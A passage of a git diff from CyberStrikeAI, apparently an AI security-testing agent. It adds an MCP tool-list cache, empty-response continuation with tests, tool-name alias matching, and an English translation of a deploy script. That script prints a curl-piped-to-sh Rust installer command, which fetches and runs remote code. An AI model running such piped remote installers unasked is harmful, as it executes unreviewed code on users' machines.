||||||
tools, err := client.ListTools(ctx)
|
|
||||||
if err != nil {
|
|
||||||
m.logger.Debug("刷新工具列表缓存失败",
|
m.logger.Debug("刷新工具列表缓存失败",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
// 刷新失败时不更新缓存,保留旧缓存(如果有)
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用统一的缓存更新方法
|
|
||||||
m.updateToolCache(name, tools)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
||||||
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
|
|||||||
m.refreshWg.Add(1)
|
m.refreshWg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer m.refreshWg.Done()
|
defer m.refreshWg.Done()
|
||||||
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
|
ticker := time.NewTicker(externalToolCountRefreshInterval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
// 立即执行一次刷新
|
// 立即执行一次刷新
|
||||||
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
|
|||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
m.onClientConnected(name)
|
||||||
|
|
||||||
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
||||||
m.triggerToolCountRefresh()
|
m.triggerToolCountRefresh()
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
|
|||||||
for name, client := range m.clients {
|
for name, client := range m.clients {
|
||||||
client.Close()
|
client.Close()
|
||||||
delete(m.clients, name)
|
delete(m.clients, name)
|
||||||
|
m.clearReconnectState(name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清理所有工具数量缓存
|
// 清理所有工具数量缓存
|
||||||
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
|
|||||||
|
|
||||||
// 清理所有工具列表缓存
|
// 清理所有工具列表缓存
|
||||||
m.toolCacheMu.Lock()
|
m.toolCacheMu.Lock()
|
||||||
m.toolCache = make(map[string][]Tool)
|
m.toolCache = make(map[string]toolListCacheEntry)
|
||||||
m.toolCacheMu.Unlock()
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
||||||
|
|||||||
@@ -1027,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
||||||
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
||||||
)
|
)
|
||||||
|
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("eino empty response, ending run segment for handler resume",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.String("orchestration", orchMode),
|
||||||
|
zap.Int("traceMessages", len(runAccumulatedMsgs)))
|
||||||
|
}
|
||||||
|
if progress != nil {
|
||||||
|
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "eino",
|
||||||
|
"resumeKind": "trace_segment",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out, ErrEmptyResponseContinue
|
||||||
|
}
|
||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
|
||||||
|
if out == nil || accumulatedLen <= baseCount {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
|
||||||
|
}
|
||||||
|
|
||||||
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
||||||
if args != nil && args.ModelFacingTrace != nil {
|
if args != nil && args.ModelFacingTrace != nil {
|
||||||
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
hint := "(empty hint)"
|
||||||
|
out := &RunResult{Response: hint}
|
||||||
|
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
|
||||||
|
t.Fatal("expected continue when response is empty hint and trace grew")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
|
||||||
|
t.Fatal("expected no continue when trace did not grow")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
|
||||||
|
t.Fatal("expected no continue when response has content")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
|
||||||
|
t.Fatal("expected no continue for nil result")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -51,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
|
|||||||
}
|
}
|
||||||
|
|
||||||
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||||
nameSet := make(map[string]struct{}, len(names))
|
nameSet := expandAlwaysVisibleNameSet(names)
|
||||||
for _, n := range names {
|
|
||||||
n = strings.TrimSpace(strings.ToLower(n))
|
|
||||||
if n == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
nameSet[n] = struct{}{}
|
|
||||||
}
|
|
||||||
if len(nameSet) == 0 {
|
if len(nameSet) == 0 {
|
||||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||||
}
|
}
|
||||||
@@ -71,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
|
|||||||
info, err := t.Info(context.Background())
|
info, err := t.Info(context.Background())
|
||||||
name := ""
|
name := ""
|
||||||
if err == nil && info != nil {
|
if err == nil && info != nil {
|
||||||
name = strings.TrimSpace(strings.ToLower(info.Name))
|
name = info.Name
|
||||||
}
|
}
|
||||||
if _, keep := nameSet[name]; keep {
|
if toolMatchesAlwaysVisible(name, nameSet) {
|
||||||
static = append(static, t)
|
static = append(static, t)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
|
|||||||
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
||||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
||||||
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
||||||
|
|
||||||
|
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
|
||||||
|
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
|
||||||
|
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
|
||||||
|
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__tool(OpenAI/Eino 命名)。
|
||||||
|
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
|
||||||
|
set := make(map[string]struct{}, len(names)*3)
|
||||||
|
add := func(name string) {
|
||||||
|
n := strings.TrimSpace(strings.ToLower(name))
|
||||||
|
if n == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
set[n] = struct{}{}
|
||||||
|
}
|
||||||
|
for _, raw := range names {
|
||||||
|
n := strings.TrimSpace(strings.ToLower(raw))
|
||||||
|
if n == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
add(n)
|
||||||
|
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
|
||||||
|
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
|
||||||
|
add(mcp + "__" + tool)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if idx := strings.LastIndex(n, "__"); idx > 0 {
|
||||||
|
mcp, tool := n[:idx], n[idx+2:]
|
||||||
|
if mcp != "" && tool != "" {
|
||||||
|
add(mcp + "::" + tool)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return set
|
||||||
|
}
|
||||||
|
|
||||||
|
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
|
||||||
|
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
|
||||||
|
if len(nameSet) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(strings.ToLower(runtimeName))
|
||||||
|
if name == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[name]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
|
||||||
|
if _, ok := nameSet[mcp+"__"+tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if idx := strings.LastIndex(name, "__"); idx > 0 {
|
||||||
|
mcp, tool := name[:idx], name[idx+2:]
|
||||||
|
if mcp != "" && tool != "" {
|
||||||
|
if _, ok := nameSet[mcp+"::"+tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
runtime string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"zhidemai__discount_search", true},
|
||||||
|
{"zhidemai::discount_search", true},
|
||||||
|
{"read_file", true},
|
||||||
|
{"zhidemai__product_search_pro", false},
|
||||||
|
{"github__discount_search", false},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
|
||||||
|
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
|
||||||
|
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
|
||||||
|
t.Fatal("legacy short name should match external runtime tool")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,11 +2,11 @@
|
|||||||
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
# CyberStrikeAI 一键部署启动脚本
|
# CyberStrikeAI one-click deploy and start script
|
||||||
ROOT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
ROOT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
cd "$ROOT_DIR"
|
cd "$ROOT_DIR"
|
||||||
|
|
||||||
# 颜色定义
|
# Color definitions
|
||||||
RED='\033[0;31m'
|
RED='\033[0;31m'
|
||||||
GREEN='\033[0;32m'
|
GREEN='\033[0;32m'
|
||||||
YELLOW='\033[1;33m'
|
YELLOW='\033[1;33m'
|
||||||
@@ -14,31 +14,31 @@ BLUE='\033[0;34m'
|
|||||||
CYAN='\033[0;36m'
|
CYAN='\033[0;36m'
|
||||||
NC='\033[0m' # No Color
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
# 打印带颜色的消息
|
# Print colored messages
|
||||||
info() { echo -e "${BLUE}ℹ️ $1${NC}"; }
|
info() { echo -e "${BLUE}ℹ️ $1${NC}"; }
|
||||||
success() { echo -e "${GREEN}✅ $1${NC}"; }
|
success() { echo -e "${GREEN}✅ $1${NC}"; }
|
||||||
warning() { echo -e "${YELLOW}⚠️ $1${NC}"; }
|
warning() { echo -e "${YELLOW}⚠️ $1${NC}"; }
|
||||||
error() { echo -e "${RED}❌ $1${NC}"; }
|
error() { echo -e "${RED}❌ $1${NC}"; }
|
||||||
note() { echo -e "${CYAN}ℹ️ $1${NC}"; }
|
note() { echo -e "${CYAN}ℹ️ $1${NC}"; }
|
||||||
|
|
||||||
# 临时源配置(仅在此脚本中生效)
|
# Temporary mirror/proxy settings (only effective in this script)
|
||||||
PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}"
|
PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}"
|
||||||
GOPROXY="${GOPROXY:-https://goproxy.cn,direct}"
|
GOPROXY="${GOPROXY:-https://goproxy.cn,direct}"
|
||||||
|
|
||||||
# 保存原始环境变量(用于恢复)
|
# Save original env vars (for restoration)
|
||||||
ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}"
|
ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}"
|
||||||
ORIGINAL_GOPROXY="${GOPROXY:-}"
|
ORIGINAL_GOPROXY="${GOPROXY:-}"
|
||||||
|
|
||||||
# 进度显示函数
|
# Progress display helper
|
||||||
show_progress() {
|
show_progress() {
|
||||||
local pid=$1
|
local pid=$1
|
||||||
local message=$2
|
local message=$2
|
||||||
local i=0
|
local i=0
|
||||||
local dots=""
|
local dots=""
|
||||||
|
|
||||||
# 检查进程是否存在
|
# Check if the process exists
|
||||||
if ! kill -0 "$pid" 2>/dev/null; then
|
if ! kill -0 "$pid" 2>/dev/null; then
|
||||||
# 进程已经结束,立即返回
|
# Process already finished; return immediately
|
||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -53,7 +53,7 @@ show_progress() {
|
|||||||
printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots"
|
printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots"
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
# 再次检查进程是否还存在
|
# Re-check whether the process is still running
|
||||||
if ! kill -0 "$pid" 2>/dev/null; then
|
if ! kill -0 "$pid" 2>/dev/null; then
|
||||||
break
|
break
|
||||||
fi
|
fi
|
||||||
@@ -63,21 +63,21 @@ show_progress() {
|
|||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo " CyberStrikeAI 一键部署启动脚本"
|
echo " CyberStrikeAI Deploy & Start Script"
|
||||||
echo " (默认 HTTPS 自签证书;纯 HTTP 请用: $0 --http)"
|
echo " (HTTPS with self-signed cert by default; plain HTTP: $0 --http)"
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 显示临时源配置信息
|
# Show temporary mirror/proxy info
|
||||||
echo ""
|
echo ""
|
||||||
warning "⚠️ 注意:此脚本将使用临时镜像源加速下载"
|
warning "Note: this script uses temporary mirrors to speed up downloads"
|
||||||
echo ""
|
echo ""
|
||||||
info "Python pip 临时镜像源:"
|
info "Python pip temporary mirror:"
|
||||||
echo " ${PIP_INDEX_URL}"
|
echo " ${PIP_INDEX_URL}"
|
||||||
info "Go Proxy 临时镜像源:"
|
info "Go temporary proxy:"
|
||||||
echo " ${GOPROXY}"
|
echo " ${GOPROXY}"
|
||||||
echo ""
|
echo ""
|
||||||
note "这些设置仅在脚本运行期间生效,不会修改系统配置"
|
note "These settings apply only while this script runs and do not change system config"
|
||||||
echo ""
|
echo ""
|
||||||
sleep 1
|
sleep 1
|
||||||
|
|
||||||
@@ -86,19 +86,19 @@ VENV_DIR="$ROOT_DIR/venv"
|
|||||||
REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt"
|
REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt"
|
||||||
BINARY_NAME="cyberstrike-ai"
|
BINARY_NAME="cyberstrike-ai"
|
||||||
|
|
||||||
# 检查配置文件
|
# Check config file
|
||||||
if [ ! -f "$CONFIG_FILE" ]; then
|
if [ ! -f "$CONFIG_FILE" ]; then
|
||||||
error "配置文件 config.yaml 不存在"
|
error "Config file config.yaml not found"
|
||||||
info "请确保在项目根目录运行此脚本"
|
info "Make sure you run this script from the project root"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 检查并安装 Python 环境
|
# Check Python environment
|
||||||
check_python() {
|
check_python() {
|
||||||
if ! command -v python3 >/dev/null 2>&1; then
|
if ! command -v python3 >/dev/null 2>&1; then
|
||||||
error "未找到 python3"
|
error "python3 not found"
|
||||||
echo ""
|
echo ""
|
||||||
info "请先安装 Python 3.10 或更高版本:"
|
info "Install Python 3.10 or later first:"
|
||||||
echo " macOS: brew install python3"
|
echo " macOS: brew install python3"
|
||||||
echo " Ubuntu: sudo apt-get install python3 python3-venv"
|
echo " Ubuntu: sudo apt-get install python3 python3-venv"
|
||||||
echo " CentOS: sudo yum install python3 python3-pip"
|
echo " CentOS: sudo yum install python3 python3-pip"
|
||||||
@@ -110,23 +110,23 @@ check_python() {
|
|||||||
PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2)
|
PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2)
|
||||||
|
|
||||||
if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then
|
if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then
|
||||||
error "Python 版本过低: $PYTHON_VERSION (需要 3.10+)"
|
error "Python version too old: $PYTHON_VERSION (requires 3.10+)"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
success "Python 环境检查通过: $PYTHON_VERSION"
|
success "Python check passed: $PYTHON_VERSION"
|
||||||
}
|
}
|
||||||
|
|
||||||
# 检查并安装 Go 环境
|
# Check Go environment
|
||||||
check_go() {
|
check_go() {
|
||||||
if ! command -v go >/dev/null 2>&1; then
|
if ! command -v go >/dev/null 2>&1; then
|
||||||
error "未找到 Go"
|
error "Go not found"
|
||||||
echo ""
|
echo ""
|
||||||
info "请先安装 Go 1.21 或更高版本:"
|
info "Install Go 1.21 or later first:"
|
||||||
echo " macOS: brew install go"
|
echo " macOS: brew install go"
|
||||||
echo " Ubuntu: sudo apt-get install golang-go"
|
echo " Ubuntu: sudo apt-get install golang-go"
|
||||||
echo " CentOS: sudo yum install golang"
|
echo " CentOS: sudo yum install golang"
|
||||||
echo " 或访问: https://go.dev/dl/"
|
echo " Or visit: https://go.dev/dl/"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -135,63 +135,63 @@ check_go() {
|
|||||||
GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2)
|
GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2)
|
||||||
|
|
||||||
if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then
|
if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then
|
||||||
error "Go 版本过低: $GO_VERSION (需要 1.21+)"
|
error "Go version too old: $GO_VERSION (requires 1.21+)"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
success "Go 环境检查通过: $(go version)"
|
success "Go check passed: $(go version)"
|
||||||
}
|
}
|
||||||
|
|
||||||
# 设置 Python 虚拟环境
|
# Set up Python virtual environment
|
||||||
setup_python_env() {
|
setup_python_env() {
|
||||||
if [ ! -d "$VENV_DIR" ]; then
|
if [ ! -d "$VENV_DIR" ]; then
|
||||||
info "创建 Python 虚拟环境..."
|
info "Creating Python virtual environment..."
|
||||||
python3 -m venv "$VENV_DIR"
|
python3 -m venv "$VENV_DIR"
|
||||||
success "虚拟环境创建完成"
|
success "Virtual environment created"
|
||||||
else
|
else
|
||||||
info "Python 虚拟环境已存在"
|
info "Python virtual environment already exists"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
info "激活虚拟环境..."
|
info "Activating virtual environment..."
|
||||||
# shellcheck disable=SC1091
|
# shellcheck disable=SC1091
|
||||||
source "$VENV_DIR/bin/activate"
|
source "$VENV_DIR/bin/activate"
|
||||||
|
|
||||||
if [ -f "$REQUIREMENTS_FILE" ]; then
|
if [ -f "$REQUIREMENTS_FILE" ]; then
|
||||||
echo ""
|
echo ""
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
note "⚠️ 使用临时 pip 镜像源(仅本次脚本运行有效)"
|
note "Using temporary pip mirror (this script run only)"
|
||||||
note " 镜像地址: ${PIP_INDEX_URL}"
|
note " Mirror URL: ${PIP_INDEX_URL}"
|
||||||
note " 如需永久配置,请设置环境变量 PIP_INDEX_URL"
|
note " For a permanent setting, set the PIP_INDEX_URL env var"
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
info "升级 pip..."
|
info "Upgrading pip..."
|
||||||
pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true
|
pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true
|
||||||
|
|
||||||
info "安装 Python 依赖包..."
|
info "Installing Python dependencies..."
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 尝试安装依赖,捕获错误输出并显示进度
|
# Install deps in background; capture errors and show progress
|
||||||
PIP_LOG=$(mktemp)
|
PIP_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1
|
pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1
|
||||||
echo $? > "${PIP_LOG}.exit"
|
echo $? > "${PIP_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
PIP_PID=$!
|
PIP_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$PIP_PID" 2>/dev/null; then
|
if kill -0 "$PIP_PID" 2>/dev/null; then
|
||||||
show_progress "$PIP_PID" "正在安装依赖包"
|
show_progress "$PIP_PID" "Installing dependencies"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$PIP_PID" 2>/dev/null || true
|
wait "$PIP_PID" 2>/dev/null || true
|
||||||
|
|
||||||
PIP_EXIT_CODE=0
|
PIP_EXIT_CODE=0
|
||||||
@@ -199,74 +199,74 @@ setup_python_env() {
|
|||||||
PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1")
|
PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${PIP_LOG}.exit" 2>/dev/null || true
|
rm -f "${PIP_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then
|
if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then
|
||||||
PIP_EXIT_CODE=1
|
PIP_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ $PIP_EXIT_CODE -eq 0 ]; then
|
if [ $PIP_EXIT_CODE -eq 0 ]; then
|
||||||
success "Python 依赖安装完成"
|
success "Python dependencies installed"
|
||||||
else
|
else
|
||||||
# 检查是否是 angr 安装失败(需要 Rust)
|
# Check for angr install failure (needs Rust)
|
||||||
if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then
|
if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then
|
||||||
warning "angr 安装失败(需要 Rust 编译器)"
|
warning "angr install failed (Rust compiler required)"
|
||||||
echo ""
|
echo ""
|
||||||
info "angr 是可选依赖,主要用于二进制分析工具"
|
info "angr is optional and mainly used for binary analysis tools"
|
||||||
info "如果需要使用 angr,请先安装 Rust:"
|
info "To use angr, install Rust first:"
|
||||||
echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
||||||
echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
||||||
echo " 或访问: https://rustup.rs/"
|
echo " Or visit: https://rustup.rs/"
|
||||||
echo ""
|
echo ""
|
||||||
info "其他依赖已安装,可以继续使用(部分工具可能不可用)"
|
info "Other dependencies are installed; you can continue (some tools may be unavailable)"
|
||||||
else
|
else
|
||||||
warning "部分 Python 依赖安装失败,但可以继续尝试运行"
|
warning "Some Python dependencies failed to install, but continuing"
|
||||||
warning "如果遇到问题,请检查错误信息并手动安装缺失的依赖"
|
warning "If you hit issues, check the errors and install missing packages manually"
|
||||||
# 显示最后几行错误信息
|
# Show last lines of error output
|
||||||
echo ""
|
echo ""
|
||||||
info "错误详情(最后 10 行):"
|
info "Error details (last 10 lines):"
|
||||||
tail -n 10 "$PIP_LOG" | sed 's/^/ /'
|
tail -n 10 "$PIP_LOG" | sed 's/^/ /'
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
rm -f "$PIP_LOG"
|
rm -f "$PIP_LOG"
|
||||||
else
|
else
|
||||||
warning "未找到 requirements.txt,跳过 Python 依赖安装"
|
warning "requirements.txt not found; skipping Python dependency install"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 构建 Go 项目
|
# Build Go project
|
||||||
build_go_project() {
|
build_go_project() {
|
||||||
echo ""
|
echo ""
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
note "⚠️ 使用临时 Go Proxy(仅本次脚本运行有效)"
|
note "Using temporary Go proxy (this script run only)"
|
||||||
note " Proxy 地址: ${GOPROXY}"
|
note " Proxy URL: ${GOPROXY}"
|
||||||
note " 如需永久配置,请设置环境变量 GOPROXY"
|
